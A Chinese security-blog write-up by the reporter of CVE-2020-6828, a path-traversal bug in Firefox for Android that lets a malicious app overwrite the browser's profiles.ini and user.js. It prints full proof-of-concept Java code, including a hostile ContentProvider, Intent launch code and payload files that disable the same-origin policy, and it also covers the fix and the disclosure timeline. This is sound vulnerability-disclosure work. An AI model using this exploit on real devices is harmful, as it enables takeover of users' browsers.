<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    CVE-2020-6828:Firefox for Android任意文件覆蓋漏洞分析

    VSole2022-08-15 08:20:32

    2020年4月,Mozilla安全公告披露并修復了我在Firefox 68.5提交的一個漏洞,漏洞編號為CVE-2020-6828。攻擊者可利用該漏洞覆蓋Firefox私有目錄中的文件,從而控制瀏覽器的任意配置項,如配置代理服務器,關閉同源策略等,造成等同與任意代碼執行的危害。

    漏洞原理

    Firefox允許外部APP調用它打開Content URI。

    <activity-alias android:label="Firefox" android:name=".App" android:targetActivity="org.mozilla.gecko.LauncherActivity">
                <intent-filter android:priority="999">
                    <action android:name="android.intent.action.MAIN"/>
                    <category android:name="android.intent.category.LAUNCHER"/>
                    <category android:name="android.intent.category.MULTIWINDOW_LAUNCHER"/>
                    <category android:name="android.intent.category.APP_BROWSER"/>
                    <category android:name="android.intent.category.DEFAULT"/>
                </intent-filter>
                <intent-filter>
                    <action android:name="android.intent.action.VIEW"/>
                    <category android:name="android.intent.category.BROWSABLE"/>
                    <category android:name="android.intent.category.DEFAULT"/>
                    <data android:scheme="file"/>
                    <data android:scheme="http"/>
                    <data android:scheme="https"/>
                    <data android:scheme="content"/>
                    <data android:mimeType="text/html"/>
                    <data android:mimeType="text/plain"/>
                    <data android:mimeType="application/xhtml+xml"/>
                    <data android:mimeType="image/svg+xml"/>
                </intent-filter>
    

    如果傳入的URI是Content URI,會調用org.mozilla.gecko.util.FileUtils.resolveContentUri。

                Intent parseUri = Intent.parseUri(string, 0);            if (FileUtils.isContentUri(string)) {
                    String resolveContentUri = FileUtils.resolveContentUri(getContext(), parseUri.getData());                if (!TextUtils.isEmpty(resolveContentUri)) {
                        geckoBundle2.putString("uri", resolveContentUri);
                        geckoBundle2.putBoolean("isFallback", true);
                    }
                    eventCallback.sendError(geckoBundle2);                return;
                }
    

    resolveContentUri會將Content URI轉成File URI。

    public static String resolveContentUri(Context context, Uri uri) {
            String originalFilePathFromUri = ContentUriUtils.getOriginalFilePathFromUri(context, uri);        if (TextUtils.isEmpty(originalFilePathFromUri)) {
                originalFilePathFromUri = ContentUriUtils.getTempFilePathFromContentUri(context, uri);
            }        if (TextUtils.isEmpty(originalFilePathFromUri)) {            return originalFilePathFromUri;
            }        return String.format("file://%s", originalFilePathFromUri);
        }
    

    重點看getTempFilePathFromContentUri,它調用了getFileNameFromContentUri來從ContentProvider中獲取文件名,并將其和Cache目錄拼接創建了一個文件,最后調用copy從ContentProvider中讀取數據寫入到該文件中。

        
    public static String getTempFilePathFromContentUri(Context context, Uri uri) {
            String fileNameFromContentUri = FileUtils.getFileNameFromContentUri(context, uri);
            File file = new File(context.getCacheDir(), "contentUri");        boolean mkdirs = !file.exists() ? file.mkdirs() : true;        if (TextUtils.isEmpty(fileNameFromContentUri) || !mkdirs) {            return null;
            }
            File file2 = new File(file.getPath(), fileNameFromContentUri);
            FileUtils.copy(context, uri, file2);        return file2.getAbsolutePath();
        }
    

    再來看getFileNameFromContentUri,它直接從ContentProvider獲取_display_name作為文件名返回,沒有進行任何處理。

        
    public static String getFileNameFromContentUri(final Context context, final Uri uri) {        final ContentResolver cr = context.getContentResolver();        final String[] projection = {MediaStore.MediaColumns.DISPLAY_NAME};
            String fileName = null;        try (Cursor metaCursor = cr.query(uri, projection, null, null, null);) {            if (metaCursor.moveToFirst()) {
                    fileName = metaCursor.getString(0);
                }
            } catch (Exception e) {
                e.printStackTrace();
            }        return fileName;
        }
    

    當惡意的ContentProvider返回的_display_name為../evil時,即可跳出Cache目錄,導致任意文件覆蓋。

    如何利用

    在Firefox的私有目錄中有一個文件/data/data/org.mozilla.firefox/files/mozilla/profiles.ini,其中PATH為隨機生成的用戶目錄。

    [Profile0]Name=defaultDefault=1IsRelative=1Path=irgc212v.default[General]StartWithLastProfile=1
    

    在用戶目錄發現了一個文件prefs.js,內容如下:

    // Mozilla User Preferences// DO NOT EDIT THIS FILE.//// If you make changes to this file while the application is running,// the changes will be overwritten when the application exits.//// To change a preference value, you can either:// - modify it via the UI (e.g. via about:config in the browser); or// - set it within a user.js file in your profile.user_pref("android.not_a_preference.addons_active", "[\"webcompat@mozilla.org\",\"default-theme@mozilla.org\"]");
    user_pref("android.not_a_preference.addons_disabled", "[]");
    ...
    

    從文件的內容得知,可以在用戶目錄中寫入一個user.js文件來修改瀏覽器的配置項。

    創建一個惡意的ContentProvider并實現query和openFile方法。

        @Override
        public Cursor query(Uri uri, String[] strings, String s, String[] strings1, String s1) {
            Log.d(TAG, "query: "+ Arrays.toString(strings));
            String path = uri.getPath();        if (path.contains("user.js")) {
                File payload = new File(getContext().getExternalCacheDir(), "user.js");
                Log.d(TAG, "query: " + path);
                String[] columnNames = new String[]{"_display_name", "_size"};
                MatrixCursor matrixCursor = new MatrixCursor(columnNames, 1);
                matrixCursor.addRow(new Object[]{"../../files/mozilla/user.js", payload.length()});            return matrixCursor;
            } else if (path.contains("profiles.ini")) {
                File payload = new File(getContext().getExternalCacheDir(), "profiles.ini");
                Log.d(TAG, "query: " + path);
                String[] columnNames = new String[]{"_display_name", "_size"};
                MatrixCursor matrixCursor = new MatrixCursor(columnNames, 1);
                matrixCursor.addRow(new Object[]{"../../files/mozilla/profiles.ini", payload.length()});            return matrixCursor;
            }        return null;
        }    @Override
        public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
            Log.d(TAG, "openFile: "+uri.toString());
            String path = uri.getPath();        if (path.contains("user.js")) {
                File payload = new File(getContext().getExternalCacheDir(), "user.js");            return ParcelFileDescriptor.open(payload, ParcelFileDescriptor.MODE_READ_ONLY);
            } else if (path.contains("profiles.ini")) {
                File payload = new File(getContext().getExternalCacheDir(), "profiles.ini");            return ParcelFileDescriptor.open(payload, ParcelFileDescriptor.MODE_READ_ONLY);
            }        return null;
        }
    

    然后調用Firefox打開Content URI。

            Intent intent = new Intent();
            intent.setPackage("org.mozilla.firefox");
            intent.setAction(Intent.ACTION_VIEW);
            intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION
                    | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
            intent.setDataAndType(Uri.parse("content://com.app.poc/user.js"), "*/*");
            startActivity(intent);        try {
                Thread.sleep(1000);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
            intent.setDataAndType(Uri.parse("content://com.app.poc/profiles.ini"), "*/*");
            startActivity(intent);
    

    第一步,先覆蓋/data/data/org.mozilla.firefox/files/mozilla/profiles.ini文件,將用戶目錄PATH修改為/data/data/org.mozilla.firefox/files/mozilla/。

    [Profile0]Name=defaultDefault=1IsRelative=1Path=.[General]StartWithLastProfile=1
    

    第二步,在/data/data/org.mozilla.firefox/files/mozilla/目錄寫入一個user.js文件,即可控制瀏覽器的任意配置項(具體配置可參見about:config),如寫入以下內容就可以關閉File下的同源策略。

    user_pref("security.fileuri.strict_origin_policy", false);
    

    漏洞修復

    Firefox 68.7在FileUtils新增了sanitizeFilename方法,通過File.getName來對文件名進行清洗,解決了目錄遍歷的問題。
    

    時間線

    • 2020-02-25 – 漏洞提交
    • 2020-03-02 – 漏洞確認
    • 2020-03-16 – 漏洞修復&賞金發放
    • 2020-04-07 – 發布安全公告和漏洞編號
    stringuri
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    cobaltstrike4.5特征消除2修改了內置stage的配置,實現硬性特征消除修改部分payload,實現基本免殺修改checksum8 判等參數public static long checksum8 {. 修改隨機生成算法寫入方法,傳值 public static void main {. 修改傳值修改common/CommonUtils的public static String MSFURI {. string = "/" + pick + pick + pick + pick;
    Java命名和目錄接口是Java編程語言中接口的名稱( JNDI )。它是一個API(應用程序接口),與服務器一起工作,為開發人員提供了查找和訪問各種命名和目錄服務的通用、統一的接口。 可以使用命名約定從數據庫獲取文件。JNDI為Java?戶提供了使?Java編碼語?在Java中搜索對象的?具。 簡單來說呢,JNDI相當與是Java里面的一個api,它可以通過命名來查找數據和對象。
    本文作者Betta,首發于火線Zone安全社區。
    Resin解析漏洞分析
    2021-10-30 06:26:47
    前陣子看有師傅在公眾號上發表了Resin解析漏洞分析,我們也知道有個常用的OA用的就是Resin,因此我認為了解它的漏洞是十分必要的。
    在重要的生產網中,目標服務器無法外聯,而遇到Apache Flink情況下如何寫內存馬,本文對這一有趣實踐過程做了一個記錄。但很可惜,筆者找了一圈,沒有發現相關的靜態變量,無法獲取到該路由對象。本文主要圍繞如何使用該方法實現 flink 內充馬進行講述。的限制,我們的 agent 需要先落地到系統中,而執行 loadAgent 這一操作的程序我們被稱為 starter。
    前段時間Confluence發布了CVE-2021-26085補丁,剛好之前分析過Confluence的漏洞,免去了搭建漏洞分析環境的麻煩,因此分析下這個漏洞。 分析過程 漏洞點定位 這個漏洞爆出來已經有一段時間了,所以已經有公開的POC了
    Java安全中Groovy組件從反序列化到命令注入及繞過和在白盒中的排查方法
    2020年4月,Mozilla安全公告披露并修復了我在Firefox 68.5提交的一個漏洞,漏洞編號為CVE-2020-6828。攻擊者可利用該漏洞覆蓋Firefox私有目錄中的文件,從而控制瀏覽器的任意配置項,如配置代理服務器,關閉同源策略等,造成等同與任意代碼執行的危害。漏洞原理Firefox允許外部APP調用它打開Content URI
    前言今天總結Android APP四大組件中Content Provider挖掘的知識,主要分為兩個部分,一部分是對Android Content Provider內容提供器的原理總結,另一部分便是對Android provider機制常見的一些漏洞總結,包括一些已知的漏洞方法,和一部分案例實踐。
    對于要有孩子的家庭來說,有一個嬰兒監視器是比較好的選擇。嬰兒監視器類型包括 Wi-Fi、移動app和云平臺等。我們決定使用Motorola-Crib-Baby-Monitor-Soother-Camera,使用之前我想仔細研究一下這款設備的安全性。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类